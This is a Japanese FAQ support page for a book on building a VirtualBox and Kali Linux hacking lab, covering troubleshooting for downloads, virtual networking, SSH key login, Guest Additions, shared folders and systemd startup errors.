『ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習』サポートサイト

ロゴ

本書に関する質問があれば、私宛にメール(ipusiron@gmail.com)あるいはTwitter(@ipusiron)のDMでお願いします。

『ハッキング・ラボの構築で困ったら読む本』が発売されました

最新のKaliと、『ハッキング・ラボのつくりかた』で解説しているKaliで、見た目がかなり変わりました。
外見だけでなく、設定については変わった箇所が少々あります。
その差を埋めるために、『ハッキング・ラボの構築で困ったら読む本』を2020年2月に発売しました。


↑『ハッキング・ラボの構築で困ったら読む本』カバー

このFAQページやネット上の情報を参考にして、『ハッキング・ラボのつくりかた』とのギャップを埋められる人はよいですが、その自信がない方は『ハッキング・ラボの構築で困ったら読む本』を併読することをおすすめします。
最終的に時間の効率化をでき、さらに新しい知識も吸収できるはずです。
以下に『ハッキング・ラボの構築で困ったら読む本』の執筆動機を抜粋しました。

『ハッキング・ラボのつくりかた』(翔泳社)は、仮想化ソフトであるVirtualBoxを用いて、安全にハッキングの実験を実現することを目的とした本です。 2018年12月に発売され、今日に至るまで多くの方が手に取っていただきました。

『ハッキング・ラボのつくりかた』では、攻撃用OSとしてKali Linux(以後、Kaliと略す)を採用しました。 Kaliは日々進化しており、1年に4回バージョンアップしています。 そして、2019年12月にリリースされたKali 2019.4では、ユーザーインターフェースが大幅に変更され、『ハッキング・ラボのつくりかた』の解説と若干のギャップが生じました。 その差を埋めたいと思ったのが、本書を執筆する1つ目の動機になります。

また、『ハッキング・ラボのつくりかた』では、仮想環境のホストOSにWindowsを想定していましたが、嬉しいことに多くのMacユーザーがハッキング・ラボに興味を持ってくれました。 同時にMacユーザーからハッキング・ラボについての問い合わせが多く、それを解決したいと思ったのが、本書を執筆する2つ目の動機になります。

以上を踏まえて、本書を執筆するにあたり、Macの実機を用意してハッキング・ラボの環境を構築・検証しました。 本書を通じて、Mac上にハッキング・ラボを簡単に構築できるはずです。

『ハッキング・ラボの構築で困ったら読む本』はBOOTHにて購入可能です。

書籍の通りに実行したがうまくいかない

誤字や誤植が原因の可能性もあるので、翔泳社の公式ページにある正誤表を確認してください。
(誤字・誤植等を発見した場合は、翔泳社のページから投稿していただければ助かります)

誤字等にも関係がなく、問題が解決しない場合は、このページを参考にしてください。

また、書籍内の注釈やコラムにも注目してください。そこにヒントが書かれていることもあります。
本書にはコラムの目次が入っていないので、別途用意しました>コラムのリンク
特に★マークのコラムは要チェックです。

環境構築に時間をかけずに、ハッキングの実験に取り掛かりたい

本書に載っている内容をすべて順を追ってやならければならないというわけではありません。
特に次の項目については、飛ばすことさえ可能です。

・Kali上のSSHの環境構築(P092~)
P092の下から6行目をよく読んでください。
ここで必須事項ではないことを明言しています。
KaliにSSHでアクセスする状況は、箇条書きの3つのパターンぐらいです。本書ではKaliの仮想マシンを直接操作するので、SSHの設定は不要なのです。
ただし、SSHの設定を通じてLinuxやネットワークの知識を身に付けることはできますので、やってみることは無駄にはなりません。
もし「うまくいかない」「失敗する」という状況であれば、立ち止まるのでなく飛ばしても結構です。

・3章すべて
ここはホストOSのWindows 10の便利機能を紹介しているだけであり、必須で設定するというものではありません。
特に「Python2と3の混在環境構築」と「ファイル共有設定」の部分に関して、よく質問が来ます。
ホストOS上でPythonを使うことがないので、混在環境を作る必要なく、飛ばしても以降の実験に支障はありません。
また、共有フォルダ―を使わずにファイルをやり取りすることも可能なので、もしつまづくようであれば飛ばしてもらっても結構です。
簡単に目を通すだけにしておき、後で余裕があるときに振り返ってみるとよいでしょう。

Kaliを起動すると画面が真っ暗で進まない

Kaliを再起動してから、次の画面が出て、それ後で真っ暗になってしまうという現象を数件報告されています。


↑"A start job is running User Manager for UID 130"という表示
以下のやり取りを参考にすると、暫定的な対処方法として、真っ暗の画面でなってから[Ctrl]+[Alt]+[Fn1]キーを1分くらい長押しすると、認証画面が表示されるそうです。

https://twitter.com/ksusec_hiro/status/1110474576968839168
https://twitter.com/sleepingaqua/status/1111511738665435137

なお、「キーボードショートカット集(Fedora,Ubuntu,CentOS)」の記事によると、この3つのキーの組み合わせについては、CUIやGUIの切り替えで使われるそうです。

・[Ctrl]+[Alt]+[Fn1]~[Fn6]:CUIに切り替え
・[Ctrl]+[Alt]+[Fn7]:GUIに切り替え

しかしながら、再起動するとまた起動に時間がかかったり、真っ暗な画面のままのようです。
Kaliを仮想マシンを閉じる場合にも、なるべき終了させず、「保存」状態で閉じた方が楽でしょう。

恒久的な対処方法はまだ見つかっていません。
情報をお持ちの方がいれば、是非お知らせください。
また、以下の検証結果についてもお待ちしております。

・VirtualBoxでKaliの仮想マシンを起動した際に、"could not connect to display"というエラーが出た場合、リカバリーモードで入ってから、sudo apt install virtualbox-dkmsを入力すると直ったというツイートを見ました。
これで今回のトラブルも直るかわかりませんが、参考になるかもしれないと思いここに書きました。
・Guest Addtionsを入れた後であれば、画面をつまんで、再描画させれば認証画面が表示されるかもしれないが、私の環境でこの問題が再現できていないので未検証です。

μTorrentをインストールする際の注意 【第1部 第2章 P038】

μTorrentをインストールするには、インストーラーを起動します。
インストーラーを起動して、基本的にはウィザードの指示にしたがうだけですが、途中で余計なソフトウェア(AvastやWinZipなど)のインストールが促されることがあります。

RedEye/h+JP(@wolfgunglay)さんの報告によると、下手するとWeb Companionというスパイウェアもどきがインストールされてしまうことがあるようです。
without(付属させない)やDecline(辞退する)を選択して、進めてください。

万が一Web Companionに感染してしまった場合、ネットで削除ツールが配布されています。
また、システム復元が有効です。

心配であれば、μtorrentを使わずに、ブラウザで直接Kaliをダウンロードすることをおすすめします。

なお、インストーラーを使って余計なソフトウェアがインストールされてしまう問題は、μTorrentだけの話ではありません。
他のソフトウェアでも同様のインストーラーの仕組みが採用されているので、注意してください(注意さえすれば無害)。

Kaliをダウンロードしたファイルがovaファイルではない 【第1部 第2章 P040】

仮想マシン用のKaliのダウンロードページは こちらになります。




ここにはVirtualBox用とVMware用のファイルが用意されています
7zファイルの場合は、おそらくVMware用のイメージファイルが選ばれています。

このページはわかりにくいのですがタブ形式になっています。
「Kali Linux VirtualBox Images」を選ぶとovaファイルをダウンロードできるはずです。

Kaliの仮想ファイル(ovaファイル)をダウンロードしようとすると文字化けしてダウンロードが始まらない。 【第1部 第2章 P040】

Microsft Edgeなどの一部のブラウザでovaファイルをダウンロードしようとすると文字化けの画面が表示されるという報告がありました。
別のブラウザ(Chromeなど)を用いるとダウンロードできるそうです。

以下の記事も参考になります。

Microsoft Edge での Kaliダウンロード と VirtualBox での Kali起動 が失敗した話 と その解決方法

Kaliのバージョンについて 【第1部 第2章 P041】

Kaliは日々進化しているので、最新バージョンをダウンロードしてください。
本書の執筆時はKaliのバージョンは2018.2が最新でしたが、2018年12月の時点でバージョン2018.4が出ています。ダウンロードしたバージョンに合わせて、本書内のファイル名や仮想マシン名を適時読み換えてください。

Kaliのインポート時にエラーが発生する 【第1部 第2章 P041】

仮想マシンのインストールフォルダーが存在することを確認してください。
解説文における「もとの仮想マシン名」のフォルダーは自動生成されますが、それより上(VBoxフォルダー)は事前に手動で作っておく必要があります。

例えば、次のようにしてフォルダーを事前に作っておきます。
1:Windowsであれば"C:\"配下に、VM_Guestフォルダーを作成します。
macOSであれば、"/Users/<ユーザー名>"配下に、VM_Guestフォルダーを作成します。

なお、複数ユーザーで共有したい場合は、HDD直下の"/VM_Guest"フォルダーを作成します。
このフォルダーのパーミッションがdrwxr-xr-xであり、ovaファイルのインポート時に書き込みできません。
そこで、Terminal上で次のコマンドでVM_Guestフォルダーに書き込み権限を与えます。

$ cd /
$ sudo chmod 777 VM_Guest
2:VM_Guestフォルダーの下に、VBoxフォルダーを作成します。

(ステップ1でchmodコマンドを実行した際は、VBoxフォルダーのパーミッションを確かめて、ここも書き込み権限を与えます)

3:Kaliのインポート時に、vmdkファイルが展開されるパスを確認します。
これでインポートに成功するはずです。

VirtualBoxの左ペインに表示される仮想マシンアイコンに「アクセスできません」と出て、起動できない 【第1部 第2章 P044】

次の方法で解決したという報告を受けました。

「VirtualBox Cannot attach medium VBOX_E_OBJECT_IN_USE (0x80BB000C) - エラー対処法」「VirtualBoxで「選択した仮想マシンにアクセスできません」となる」

Kaliの起動時に"Resuming from hibernation"エラー 【第1部 第2章 P045】

Kaliを起動し、"Kali GNU/Linux"を選択し[Enter]キーをクリックすると、"Resuming from hibernation"が表示され、ログインができないことがあるという報告を受けました(レアケース)。
これを解消するために、GRUBのブート画面にて"Advanced Options for Kali GNU/Linux"→"Kali GNU/Linux, with Linux 5.2.0-kali2-amd64(recovery mode)"を選択しようとしたが、キーボードから入力できないという現象に陥ったそうです。

VirtualBoxにて仮想マシンの設定画面のディスプレイから「3Dアクセラレーションを有効化」のチェックを外すことで、"Resuming from hibernation"エラーが解消されたそうです。

参考情報元

最新バージョンで日本語環境がうまくいかない 【第1部 第2章 P055-】

Kali 2019.4から、かなりインタフェースが変わりました。
そのため、GUIよりCUIで日本語環境を構築した方がよいでしょう。
以下の記事が参考になります。

「Kali Linux ver2019.4の導入と日本語化」
うさmさんのレポート←MacキーボードをKaliで使う場合の注意点

日本語入力の設定において、インストールがうまくいかない 【第1部 第2章 P060】

【Kali 2019.4以降】
Kali 2019.4以降(Xfce版)では、日本語環境の構築方法ががらりと変わりました。
『ハッキング・ラボの構築で困ったら読む本』にGUIで設定する方法を載せています。

また、CUIで設定する際には、以下のコマンドを試してみてください。
mihaさんの報告を参考にしました。

1.パッケージ更新する。
# apt-get update

2.日本語入力のパッケージをインストール
# apt install -y task-japanese task-japanese-desktop

3.キーボードを日本語に。XKBLAYOUT="us"をjp
# vi /etc/default/keyboard

4.タイムゾーンをtokyoに変更する
# dpkg-reconfigure tzdata
【Kali 2019.3以前】
ステップ①のapt intallがうまくいかない場合は、以下を試してみてください。

 

ネットワーク構成がわかりにくい 【第1部 第2章 P077】

図2-49はハッキング・ラボで構築するネットワーク構成になります。

ゲストOS Kaliが2つ現れていることに注目してください。
これは同一であり、仮想のLANアダプターを2つ設定することでこうなっています(図2-43の画面にあるアダプター1とアダプター2に相当する)。

VirtualBoxでの仮想ネットワークを構築する際には、次の3つの項目を合致させなければ、正常に通信できません。

・VirtualBoxのネットワーク設定
・仮想マシンのアダプターの設定
・ゲストOSのネットワーク設定
皆さんからの質問を見るとここが大きなはまりポイントであるようです。
そのため、『ハッキング・ラボの構築で困ったら読む本』で丁寧に解説しました。
この辺りの設定に自信がない方は、一読することをおすすめします。

仮想LANアダプターを追加できない 【第1部 第2章 P080】

仮想マシン(ここではKali)を起動したままだと、「アダプター2」をクリックできず、設定ができません。同様に他のコアな項目もいじれません。


↑仮想マシンが立ち上がった状態で、仮想マシンの設定を開いたところ
いったんKaliを終了してから、仮想マシンの設定を見ると各項目を追加・変更できます。

仮想マシンにホストオンリーアダプターを追加したら起動できなくなった 【第1部 第2章 P080-89】

仮想マシンの起動時に"VERR_SUPDRV_COMPONENT_NOT_FOUND"というメッセージのエラーが表示された場合、ホストOS(Windows 10など)の対象のVirtualBox Host-Only Ethernet Adapterの設定を確認してください。


↑"VERR_SUPDRV_COMPONENT_NOT_FOUND"エラー

「VirtualBoxでHost-Only Ethernet Adapterが原因でVMが起動しない時」という記事によると、"VirtualBox NDIS6 Bridged Networking Driver"にチェックを入れることで解決するそうです。チェックが外れていれば、チェックを入れてから仮想マシンを立ち上げてみてください。
また、D_A__(@D__A____)さんの報告によれば、"VirtualBox NDIS6 Bridged Networking Driver"を一度案インストールしてから、再インストールすることで直ったようです。

ホストネットワークマネージャ―が見つからない 【第1部 第2章 P081】

VirtualBoxのバージョンによって、ホストネットワークマネージャ―の項目の場所が異なります。

P081の上部の数行を再確認してください。
次の2パターンがあります。

・P81のケースA
・P82のケースB

パターンA(ホストネットワークマネージャがメニューにない場合)は「ホストオンリーネットワーク」タブがありますが、パターンB(ホストネットワークマネージャがメニューにある場合)はそのタブが存在しません。その代わりに、ホストネットワークマネージャで同等の設定が可能になります。

それでも見つからない場合、見ている設定画面が間違っている可能性があります。
VirtualBoxの設定画面やメニューに注目していることを確認してください。仮想マシンの画面に対する設定画面やメニューではありません。
ホストネットワークマネージャ―は仮想マシン全体に影響する設定であるため、VirtualBoxに対する設定になります。

"/etc/network/interfaces"ファイルの保存方法がわからない 【第1部 第2章 P085など】

viの操作については、P85の注釈*34で述べています。


↑viで編集したところ
viで編集した場合、Terminalを閉じても変更が保存されません。
viで保存する場合は、ESCでコマンドモードにしてから、:wを入力します。そして終了する場合には、:qとします。

ページの都合上、viの基本的なコマンドについてはP428のコラムに記載しています。また、P814の巻末付録にもコマンド表を紹介しています。モードの切り替えについていまいちわからなけれれば、ネット上でviの操作方法を検索するとよいでしょう。

どうしてもviになじめない場合は、別のテキストエディターを用いても構いません。

viで編集しようとするとswapファイルが存在するという警告が表示された 【第1部 第2章 P085など】


↑swapファイルが存在するという警告

このswapファイルは、viでの操作の際にクラッシュしたときのために自動的に裏で保存してくれているファイルです。

「swapファイルが見つかった場合にどのように対処すべきか(クラッシュからのリカバリー)」

(viの操作がわからず)viを開いたTerminalを×ボタンで閉じてしまうと、強制終了したとみなされてしまいます。そのため、次にviを起動すると、swapファイルの警告が表示されるというわけです。

警告が表示されたら、swapファイルはDを入力して消してよいでしょう(最初から入力し直しになりますけれど)。後は、viの正しい操作でファイルを編集してください。

もしviの操作に不安があれば、次のようにテスト用のファイルを作成して、色々と入力を試してみるとよいでしょう。

root@kali:~# vi test.txt

仮想マシンのネットワークがおかしい 【第1部 第2章 P088など】

Kaliなどでifconfigコマンドを実行しても、本の結果と一致せず、ネットワークがおかしい状態になることがあります。この原因や対処法については、次のコラムを参照してください。  

ホストOSへのPingがうまくいかない 【第1部 第2部 P089】

この時点ではKaliの仮想マシンからインターネットへPingが通っていれば問題ありません。本書の後半でホストOSとゲストOSの通信が必要であるため、念のためにホストOSにPingしているだけです。よって、ホストOSではPing応答の設定をせずに、本書を読み進めてもよいでしょう。

もしPing応答を確認したい場合には、次の設定を確認してください。
 


ホストOSがWindows 7/10の場合、デフォルトではPing応答を返さない設定(ステルスPingが有効)になっています。以下の設定を反映させてください。
  M1ke.(@crypt_3n)さんのツイートによると、ホストOSがmacOSの場合も、ステルスPing(ステルスモード)が有効になっているそうです。そのため、デフォルトではPing要求が届いても、応答を返さない動作をします。応答を返すには、ステルスモードを無効にしてください。
上記のようにステルスPingを無効にしても、ホストOSからPing応答が返ってこない場合、ホストOSにパーソナルファイアウォール系のセキュリティソフトがインストールされており、そのソフトのステルスPing機能が有効になっている可能性があります。その際は、パーソナルファイアウォールの機能を一時的にオフにするか、そのソフトのステルスPing機能を無効にしてください。

essy(@essylover_)さんの報告によれば、ESET(ファイアウォールの一種)がホストOSにインストールされている場合、ICMPだけでなく、TCPとUDPも通すように設定しなければならないようです。

ログインループしてしまう 【第1部 第2章 P090】

はぁこ(@paco_itengineer)さんの報告によれば、apt upgrade中に放置していたところ、いつの間にかログイン画面が表示され、認証してもログイン画面がループするようになってしまったようです。

解決方法は、以下の記事が参考になります。

「Kali-Linuxでログイン画面の無限ループから抜け出した方法」

ユーザーのホームディレクトリが生成されない 【第1部 第2部 P091】

ユーザーを追加するにはuseraddコマンドを用いますが、-mオプションを付け忘れると、ホームディレクトリが生成されません。
ホームディレクトリが存在しないと、そのユーザーでログインした直後のカレントディレクトリに"/"ディレクトリになります。また、P104のようにSCPでファイルを転送しようとしても、「TTSSH:SCP error」というエラー(エラーメッセージは"Could not chdir to home directory /home/<ユーザー名>: No such file or direcotory")が表示されます。

SSHホスト鍵の再生成時にエラーが発生する 【第1部 第2部 P095】

dpkg-reconfigure openssh-serverコマンドを実行したときに、"rescue-ssh.target is a disabled or a static unit, not starting it."というエラーが発生することがあるようです。
対処法はdpkg-reconfigureでsshホスト鍵を再生成したときの問題で解説されています。

ホストOSからKaliにSSHアクセスできない 【第1部 第2部 P097】

まずホストOSからKaliにPingが通ることを確認します。Pingが通らなければ、ネットワークに異常があります。

原因はいくつか考えられます。
①KaliのIPアドレスがおかしい。
②Kaliの仮想NICに、10.0.0.x用のVritualBox Host-Only Ethernet Adapterが指定されていない。
⇒ホストネットワークマネージャで10.0.0.x系の仮想ネットワークを調べて、仮想マシンのKaliのネットワーク設定のアダプターと対応しているかを確認してみてください。
③ホストOSに、仮想ネットワークのIPアドレスが割り当てられていない。
⇒MiKe(@MIKE_Tokyo)さんが報告してくれました。

②の問題かどうかを調べるために、コマンドプロンプトipconfigコマンドを実行して、10.0.0.1が割り当てられているかを確認します。
もし割り当てられいなければ、VirtualBoxのホストネットワークマネージャーを開きます。
そこに設定済みの仮想ネットワーク(VritualBox Host-Only Network)が一覧表示されます。
この内容と、ipconfigコマンドで表示された仮想ネットワークと整合性があっているかを確認します。
なぜか、報告では整合性が合っていませんでした。
(これが本質的な問題ではないが、これはこれで腑に落ちない)

SSHでrootログインできない 【第1部 第2章 P100】

"/etc/ssh/sshd_config"ファイルを設定しますが、その際、PermitRootLoginの頭にあるコメントアウトを外すのを忘れないようにしてください。

SSHに公開鍵認証でログインできない 【第1部 第2章 P102】

ステップ②にて公開鍵認証したいユーザーを指定して、パスワード認証でSSHログインしています。本書ではrootユーザーで公開鍵認証するつもりなので、rootでSSHログインしています。そのため、このステップにおけるコマンドでは#での処理になっています。
もしその他のユーザーでSSHログインした場合は、$のプロンプトのまま(suでrootになる必要はない)で本書のコマンドを実行してください。

ステップ③(P106)では、/etc/ssh/sshd_configファイルを設定します。第1刷では"ssh_config"と誤植になっているので注意してください。もしまだ未修整であれば、翔泳社の正誤表を参照してください。

ステップ④(P107)の図2-68ではユーザー名にrootを指定して認証しようとしています。もしその他のユーザーで公開鍵認証するための設定をした場合には、そのユーザー名を指定してください。

以下の画像は、虎牙龍樹(@kogaryuju)さんに協力していただた結果です。ありがとうございます。参考にしてください。


↑一般ユーザーでSSHログインしたところ


↑検証のために.sshディレクトリを一度削除してもらったので、一般ユーザーで.sshディレクトリを作成している


↑一般ユーザーでauthrized_keysを作成する


↑一般ユーザーで公開鍵登録


↑一般ユーザーでパーミッション変更


↑TeraTermを起動して一般ユーザーで公開鍵認証する
存在しないディレクトリについては作成します。

なお、一般ユーザーに対して、sudoコマンドの権限を与えず、ログインシェルをbashにしなくても、公開鍵認証は問題ないようです(ユーザーに対する各種設定についてはP092参照)。

それでも、認証に成功しない場合は、以下の点を確認してください(参考した報告)。

・Tera Termで指定したパスフレーズ(rootのパスワードではなく、秘密鍵のパスフレーズを入れる)
・Authorized_keyの所有者やグループがrootになっていること(別のユーザーで作ってしまうとrootになっていない)

Filesにて「Show Hidden Files」が見つからない 【第1部 第2章 P109】

Karasawa Kiko(@krswk)さんの報告によると、Kali 2019.1ではFilesの「Show Hidden Files」の位置が変わったようです。
「Toggle view」ボタンの右にある下矢印を選ぶと、表示関連の項目が表示されます。ここでソートする項目や拡張子などを選択でき、「Show Hidden Files」も存在します。

次の画面はKali 2019.1のFilesです。


↑ここには「Show Hidden Files」がない


↑ここに「Show Hidden Files」がある

Filesが見つからない 【第1部 第2章 P116】

『ハッキング・ラボのつくりかた』ではファイルエクスプローラーとしてFilesで解説していましたが、Kali 2019.4以降(Xfce版)ではXfce版のKaliでは代わりにThunarを扱います。
インタフェースは若干変わっています。

apt update実行時にエラーが発生する【第1部 第2章 P126】

apt updateコマンドを実行した際にエラーが発生する理由は様々です。

・まず確認すべき情報は、Kaliの公式サイトのsources.listについてのページです。
・RomHIRAGA(@RomHIRAGA)さんの報告によると、VirtualBoxのリポジトリファイル("/etc/apt/sources.list.d/virtualbox.list"ファイル)が参照されているようです。
「How to install latest VirtualBox on Kali Linux Rolling」の記事も参考になります。
・実行時にlockファイルのエラーが発生する。
しばらく放置したり再起動したりすれば、エラーはいずれ解消するが、すぐに対応したい場合はlockファイルを削除する。
「apt-getでエラーが出た場合の対処法:E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)」「E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable) [duplicate]」を参考にして、いくつかのlockファイルを削除してみてください。

ブラウザでmanページが表示されない 【第1部 第3章 P134】

川上裕己(@yuki_kyuki>)さんの報告によると、ホストOS側のブラウザでmanページを表示しようとしても、権限エラーで表示されないそうです(localhostからは見られる)。
(これまではこのような指摘がなかったので、Kali 2019.3以降?から起こるようになったのかもしれません)


↑localhostのブラウザから表示できた


↑ホストOSからは権限エラーで表示されない

まーちゃん(@_maa_chan__)さんによって、"/etc/apache2/conf-available/man2html.conf"ファイルの「Require local」を「Require all granted」にして、Apacheを再起動すると解決ことが判明しました。

「共有フォルダー」の設定項目について教えてください 【第1部 第3章 P152】

最新のVirtualBoxの場合、「共有フォルダー」の設定項目が増えています。

・永続化する:チェックを入れてください
・Mount Point:空のまま

マウントポイントとは、マウント先のディレクトリのことです(P156の①で解説)。
P156のステップ①の後で、/shareを作った後であれば、ここで指定してもよいでしょう。

[OK]ボタンが押せない場合は、パスの書式が間違っている可能性があります。


↑「共有フォルダー」の設定にて、パスの書式が間違えているので、[OK]ボタンが押せない状態

Guest Additionsをマウントした際に表示されるダイアログで[Cancel]ボタンではなく[Run]ボタンを実行してしまった 【第1部 第3章 P154】

[Run]ボタンを押してGuest Additionsのインストールスクリプトが自動起動するLinuxもありますが、Kaliの場合はうまくいきません。Kali Linuxの初期状態では、マウントされたファイルシステムのバイナリを実行できないようになっているためです。そのため、本書では[Cancel]ボタンを押すように指示しています。 Kaliで[Run]ボタンを押すと、"Oops!"というエラー画面が出ます。


↑"Oops!"エラー画面
あくまでプログラムが自動起動されなかっただけで、CDのマウントは完了しており、特に問題はありません。
次のコマンドを実行して、VBoxLinuxAdditions.runファイルなどが表示されたらマウントに成功しています(何も表示されなければマウントされていません)。
root@kali:~# ls /media/cdrom ←CDがマウントされたときにその中身を確認。
32Bit        OS2                       VBoxWindowsAdditions-amd64.exe
64Bit        runasroot.sh              VBoxWindowsAdditions.exe
AUTORUN.INF  TRANS.TBL                 VBoxWindowsAdditions-x86.exe
autorun.sh   VBoxLinuxAdditions.run
この時点でデスクトップにCDアイコンが表示されない場合は、次のFAQを参考にしてください。

なお、次の記事を参考にして、事前にマウントされたファイルシステムのバイナリを実行できるようにして、その後でP153のステップ3を開始するという手もあります。

Virtualboxのゲスト(Kali Linux)でguest addition CD imageを実行できない問題

VirtualBox6.0でGuest Additionsのインストールに失敗してしまう 【第1部 第3章 P153】

Guest Additionsのインストールに失敗すると、結果的に様々な制約を受けます。
特にこのページで解説しているファイル共有機能の恩恵も受けられません。
RomHIRAGA(@RomHIRAGA)さんの報告によると、apt update、apt upgrade、apt dist-upgradeコマンドを実行してからURLの方法を試すことで、共有フォルダーのマウントが復活したそうです。

Kali Linux VirtualBox Guest

Guest Additionsのインストールは必要か 【第1部 第3章 P154】

Kali 2019.4以降(Xfce版)ではGuest Addtionsはすでに導入済みなので、『ハッキング・ラボのつくりかた』に書いてある作業は不要になります。
詳細は『ハッキング・ラボの構築で困ったら読む本』を参考にしてください。

Guest Additionsのインストール時にCDアイコンが表示されない 【第1部 第3章 P154】

Kaliを再起動してから、ステップ③以降を実行してください。再起動したらCDアイコンが表示されたという報告がありました。

デスクトップに表示されていないだけで内部的にはマウントが完了しています。対処方法は2つがあります。GUIとCUIの方法です。

≪GUIの方法≫

Filesを起動します。すると、(マウント済みであれば)左側に「VBox~」と表示されるはずです。これを選択すると、マウントされたCDの中身が表示されます。後は、本書の指示通りに、このCDの中身を、デスクトップ上の"vbox"フォルダーの中にコピーします。それ以降は本書の通りです。


↑Filesでマウントしたディスクの中身を見る
≪CUIの方法≫

Kaliの仮想マシンのメニューの「デバイス」>「Guest Additions CD イメージ挿入」を選択して、すでにマウント済みのはずとします。

1:Terminalで次を実行します。
root@kali:~# mkdir -p /mnt/cdrom
root@kali:~# mount -r /dev/cdrom /mnt/cdrom
root@kali:~# ls /mnt/cdrom
(ファイルがあれば成功。空なら失敗)
2:次を実行してインストールします。
root@kali:~# chmod +x /mnt/cdrom/VBoxLinuxAdditions.run ←不要かもしれない。 ←これを実行しても"chmod: changing permissions of '/mnt/cdrom/VBoxLinuxAdditions.run': Read-only file system"と表示される。
root@kali:~# ls -la /mnt/cdrom/VBoxLinuxAdditions.run 
-r-xr-xr-x 1 root root 7321038 Jul 16  2018 /mnt/cdrom/VBoxLinuxAdditions.run ←実行権限が付いているので、問題なし。
root@kali:~# sh /mnt/cdrom/VBoxLinuxAdditions.run ←インストール用のスクリプトを実行する。
デスクトップにsf_shareフォルダーのアイコンは表示されないかもしれませんが、内部的には共有フォルダーのマウントに成功するそうです。anitech(@anitech19)さんに検証していただきました。ありがとうございます。
なお、マウントを解除して元の状態に戻したければ、 仮想マシンのメニューの「デバイス」>「光学ドライブ」>「仮想ディスクからディスクを除去」を選びます。 すると 「仮想光学ディスク~をマシン~から取り出せません。このディスクを強制排出してみますか?」という確認ダイアログが表示されるので、[強制マウント解除]ボタンを押します。すると、ディスクのマウントが解除されるはずです。


↑仮想ドライブからディスクを除去
これでも解除されなかった場合は、Kaliを終了した状態でその仮想マシンの設定にて、「ストレージ」項目で「コントローラー:IDE」のところに"VBoxGuestAddtions.iso"があるので、これを選択して、[-]ボタンで削除してください(この操作はゲストOSが終了した状態でしかできません)。


↑仮想マシンの設定にて仮想ドライブからディスクを除去

Kali側から"/media/sf_share"内のsample.txtファイルが見えない 【第1部 第3章 P155】

ホストOS(Windows 10)側のshareフォルダーにsample.txtファイルを配置したにもかかわらず、Kali側において"/media/sf_share"内を見ても何も見えないという現象が起きたとします。その場合には、Kaliの仮想マシンの設定を確認してください。



↑shareフォルダー(ここでは"D:\share")内の見え方の違い

ねくせむ(@n3_xj)さんの報告によれば、共有フォルダーを永続化すると解決するようです。
設定画面を開いて、左ペインから「共有フォルダー」を選択し、P152で作成した共有フォルダ―を選択して詳細画面を出してください。この中で「永続化する」というチェックを入れてください。


↑「共有フォルダー」の詳細設定
P152の表3-2「共有フォルダー時の設定」では、「永続化する」という項目に言及していませんでした。この項目の有無はVirtualBoxのバージョンによるようです。どうやら新しいバージョンではこの項目が増えたようです。

起動時に"[FAILED] Failed to start /etc/rc.local."と表示される 【第1部 第3章 P159】

P156以降の記載されたように共有フォルダーの設定すると、Kaliの起動時に"[FAILED] Failed to start /etc/rc.local."というエラーメッセージが出る可能性があるようです。


↑"/etc/rc.local"の起動エラー
共有フォルダ―のマウントは成功するので運用上は問題ありませんが、エラーメッセージが気になる方は以降の方法を適用してください。

まず原因を調べるために、Terminalでsystemctrl status rc-local.serviceコマンドを実行しました。すると、次のような画面になります。その中に"rc-local.service: Start request repeated too quickly, refusing to start."(高速にリクエストを繰り返しすぎている)というエラーメッセージがあります。


↑エラー時のsystemctrl status rc-local.serviceコマンドの実行結果
なお、このログから抜ける場合には[q]ボタンを押します。

P159で作成した"/etc/systemd/system/rc-local.service"に注目してください。調べてみると、ServiceタイプのRestartオプションは、サービスプロセスが終了(異常終了も含む)した際の再起動条件を指定する項目のようです(デフォルトでは「Restart=no」が指定)。
本書では「Restart=always」を指定するようにしました。これではサービスの再起動が実行されます。
ここを「Restart=no」に変更してください。こうすることで、サービスの再起動をしないように設定できます。つまり、再起動そのものをしないため、高速なリクエストは発生しないはずです。これでエラーが解決することが期待できます。

設定を反映・確認するために、Terminalで次のように実行します。

# systemctl daemon-reload
# systemctl start rc-local.service
("Failed"が出なければOK)
# systemctl status rc-local.service
(最後に"Suceeded"が出ていればOK)

↑設定の反映と確認
問題なさそうであれば、Kaliを再起動して最終確認します。元々表示されていたエラーが出ず、マウントも成功することを確認してください。

以下の記事を参考にしました。

systemdの'start request repeated to quickly, refusing to start'エラー
https://teratail.com/questions/105664 なお、川サキ.(@lxtv34)さんの報告によると、systemctrl status rc-local.serviceコマンド実行時に"bad-setting"と表示されることがあるようです。
このメッセージが出たときは、rc-local.serviceファイルの内容や書式を確認してください。
"bad unit"というメッセージが出ているので、内容の問題である可能性があります。


↑"bad-setting"の表示

systemctl status rc-local.serviceコマンドで確認するとエラーが発生している 【第1部 第3章 P159】

1:間違いが多発している箇所なので、まず入力ミスがないことを確認してください。

[例]これまであった記述・スペルミスの例

・taget⇒target
・[install]⇒[Install]
・Restart=always⇒Restart=no
(上記のFAQを参照。正誤表では直っている)

2:P159のコマンドは、systemctl enable rc-local.serviceまでが1行です。
それ以降("Created symlink ~")はコマンドの出力結果です。
2行目の改行マークは出力の折り返しを意味しており、→印も出力されるものであり、入力するものではありません。

ファイル共有の設定後に、Kaliの起動時に"mounting failed with the error"というエラーメッセージが表示される 【第1部 第3章 P159】

RomHIRAGA(@RomHIRAGA)さんの報告によれば、最新のKaliだとP159の設定後に再起動するときに、"/sbin/mount.vboxsf: mounting failed with the error: Protocol error"というメッセージが表示されるそうです。
ただし、共有フォルダ―を使用する分には支障がない。


↑起動時のメッセージ

現在まだ未解決です。
情報をお持ちの方がいれば、報告のツイートにぶら下がる形でレスしてもらえると助かります。

Python2でpipが起動しない 【第1部 第3章 P206】

じょろさん(@zyorom)の報告によると、ユーザー名が漢字(日本語?)のときにpipがインストールされなかったようです。
半角でユーザー名を作ってからインストールし直すと、pipがインストールされたそうです。

試用版の仮想マシン(Windows7)がダウンロードできない 【第1部 第4章 P216】

MSがWindows7のサポートを終了したためなのか、試用版の仮想マシンのダウンロードページから、Windows 7や8がなくなりました。
2020年1月24日現在では、Windows10しか選べません。

緊急策として、ZIPファイルを一時的にアップしています。

http://s-akademeia.sakura.ne.jp/main/books/lab/file/IE8.Win7.VirtualBox.zip
WebArchiveからファイルを直接DL…元のページのアーカイブはここ
Google DriveからDL
https://az792536.vo.msecnd.net/vms/VMBuild_20150916/VirtualBox/IE8/IE8.Win7.VirtualBox.zip…私の環境ではDLできませんでしたが、DLできる人もいる(ISPによる?)。
